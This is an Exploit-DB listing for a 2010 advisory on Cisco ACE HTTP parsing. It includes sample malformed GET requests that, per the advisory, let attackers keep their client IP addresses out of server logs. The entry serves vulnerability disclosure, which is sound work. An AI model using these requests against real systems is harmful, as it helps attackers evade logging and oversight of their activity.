Cisco Application Control Engine (ACE) - HTTP Parsing Security
EDB-ID:
33962
Size:
0 bytes
Author:
Alexis Tremblay
Type:
remote
Platform:
Hardware
Published:
2010-05-07
source: https://www.securityfocus.com/bid/40002/info
Cisco Application Control Engine (ACE) is prone to a security weakness that may allow attackers to obfuscate HTTP server log entries.
Attackers can exploit this issue to avoid having client IP addresses logged by servers.
GET / HTTP / 1 . 1
HOST: Myserver.com
CONNECTION: KEEP-ALIVE
GET / HTTP/1.1
HOST: Myserver.com
CONNECTION: KEEP-ALIVE